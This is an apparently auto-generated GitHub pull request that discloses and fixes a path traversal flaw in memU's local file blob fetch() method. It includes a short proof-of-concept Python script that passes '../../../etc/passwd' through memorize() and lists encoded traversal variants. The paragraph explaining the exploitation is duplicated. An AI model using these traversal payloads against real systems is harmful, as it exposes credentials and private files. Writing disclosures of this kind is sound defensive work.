[Security] Fix HIGH vulnerability: V-004

[orbisai0security]

Security Fix

This PR addresses a HIGH severity vulnerability detected by our security scanner.

Security Impact Assessment

Aspect	Rating	Rationale
Impact	High	In the memU repository, which appears to be an AI memory management tool handling blob storage, exploitation could allow attackers to read sensitive files outside the intended directory, such as configuration files containing API keys, source code with proprietary algorithms, or system files, leading to data breaches or intellectual property theft. The fetch() method is directly called with user-controllable resource_url parameters from memorize.py, amplifying the risk if this tool is deployed as a service or API.
Likelihood	Medium	Given that memU is an open-source GitHub repository likely used for AI-driven memory utilities, exploitation requires user input to be controllable, such as in a web interface or API endpoint, and an attacker with knowledge of the path traversal vectors. While the repository's context suggests potential deployment in development or production environments, it isn't a high-profile target like a major web app, reducing motivation for widespread attacks.
Ease of Fix	Medium	Remediation involves implementing path validation in the fetch() method, such as normalizing paths with os.path.abspath and ensuring they reside within the allowed blob directory, which requires code changes in local_fs.py and potentially updating the calling sites in memorize.py. This could introduce moderate testing effort to verify no breaking changes in file access logic, but doesn't necessitate major architectural shifts or dependency updates.

Evidence: Proof-of-Concept Exploitation Demo

⚠️ For Educational/Security Awareness Only

This demonstration shows how the vulnerability could be exploited to help you understand its severity and prioritize remediation.

How This Vulnerability Can Be Exploited

The vulnerability in src/memu/blob/local_fs.py allows path traversal attacks via the fetch() method, which processes user-controllable resource_url parameters passed from src/memu/app/memorize.py. An attacker can inject sequences like ../../../ to access files outside the intended blob storage directory, potentially exposing sensitive system or application files. This is exploitable by crafting malicious input to the memorize functionality, assuming the application accepts user-provided URLs or paths for data retrieval.

The vulnerability in src/memu/blob/local_fs.py allows path traversal attacks via the fetch() method, which processes user-controllable resource_url parameters passed from src/memu/app/memorize.py. An attacker can inject sequences like ../../../ to access files outside the intended blob storage directory, potentially exposing sensitive system or application files. This is exploitable by crafting malicious input to the memorize functionality, assuming the application accepts user-provided URLs or paths for data retrieval.

# Proof-of-Concept Exploit Script
# This script demonstrates exploiting the path traversal in memU's local_fs.py fetch() method.
# Assumptions: The attacker has access to invoke the memorize function (e.g., via API, CLI, or direct code execution in a test environment).
# In a real scenario, this could be triggered through user input if memU exposes an interface for uploading or fetching resources.

import sys
import os
# Import the relevant modules from the repository (assuming the repo is cloned locally for testing)
sys.path.append('path/to/memU/src')  # Adjust to actual repo path
from memu.app.memorize import memorize  # Assuming memorize is the entry point that calls fetch()
from memu.blob.local_fs import LocalFSBlob  # Direct access to the vulnerable class if needed

# Step 1: Craft a malicious resource_url with path traversal to read /etc/passwd (common sensitive file)
malicious_url = "../../../etc/passwd"  # This traverses out of the blob directory to the root filesystem

# Step 2: Call the memorize function with the malicious URL
# In the repo's code, memorize() at lines 182 and 337 uses resource_url in a way that passes it to fetch()
# For demonstration, we'll simulate calling memorize with a dict containing the malicious URL
# (Adjust based on actual function signature; assuming it takes a params dict with 'resource_url')
params = {
    'resource_url': malicious_url,
    'other_params': 'dummy'  # Add any required params to make the call valid
}

try:
    result = memorize(params)  # This internally calls fetch() in local_fs.py, which lacks validation
    print("Exploit successful! Retrieved content:")
    print(result)  # Should output the contents of /etc/passwd if vulnerable
except Exception as e:
    print(f"Error or mitigation detected: {e}")

# Alternative: Direct call to LocalFSBlob.fetch() if accessible
# blob_handler = LocalFSBlob(base_path="some/blob/dir")  # Assuming constructor takes a base path
# content = blob_handler.fetch(malicious_url)  # This directly exploits the traversal
# print(content)

Exploitation Impact Assessment

Impact Category	Severity	Description
Data Exposure	High	Successful exploitation could expose sensitive files outside the blob directory, such as system files (/etc/passwd, /etc/shadow), user credentials in config files (e.g., API keys in .env or YAML configs within the repo), or source code containing hardcoded secrets. If memU stores user memories or AI data, traversal could leak personal or proprietary data stored in adjacent directories.
System Compromise	Low	This is a read-only path traversal, granting no write access, code execution, or privilege escalation. An attacker gains file read access but cannot modify the system or execute commands, limiting compromise to information disclosure only.
Operational Impact	Low	No direct service disruption occurs; the application continues functioning while leaking data. However, if exploited repeatedly, it could lead to resource exhaustion (e.g., reading large files) or detection via logging, indirectly causing monitoring alerts or temporary blocks.
Compliance Risk	Medium	Violates OWASP Top 10 A05:2021 (Security Misconfiguration) by lacking input validation. If memU handles user data (e.g., personal memories in an AI context), breaches could trigger GDPR violations for unauthorized data access in EU contexts or similar privacy regulations. Fails basic security audits for file handling in data storage tools.

Vulnerability Details

• Rule ID: V-004
• File: src/memu/blob/local_fs.py
• Description: The fetch() method in src/memu/blob/local_fs.py:57 accepts URL or path parameters used in file system operations. Called from src/memu/app/memorize.py at lines 182 and 337 with user-controllable resource_url parameters. Without proper path validation and sanitization, attackers can inject path traversal sequences (../, .., or URL-encoded variants %2e%2e%2f) to access files outside intended blob storage directory, potentially reading sensitive system files, configuration files with credentials, or source code.

Changes Made

This automated fix addresses the vulnerability by applying security best practices.

Files Modified

• src/memu/blob/local_fs.py

Verification

This fix has been automatically verified through:

• ✅ Build verification
• ✅ Scanner re-scan
• ✅ LLM code review

🤖 This PR was automatically generated.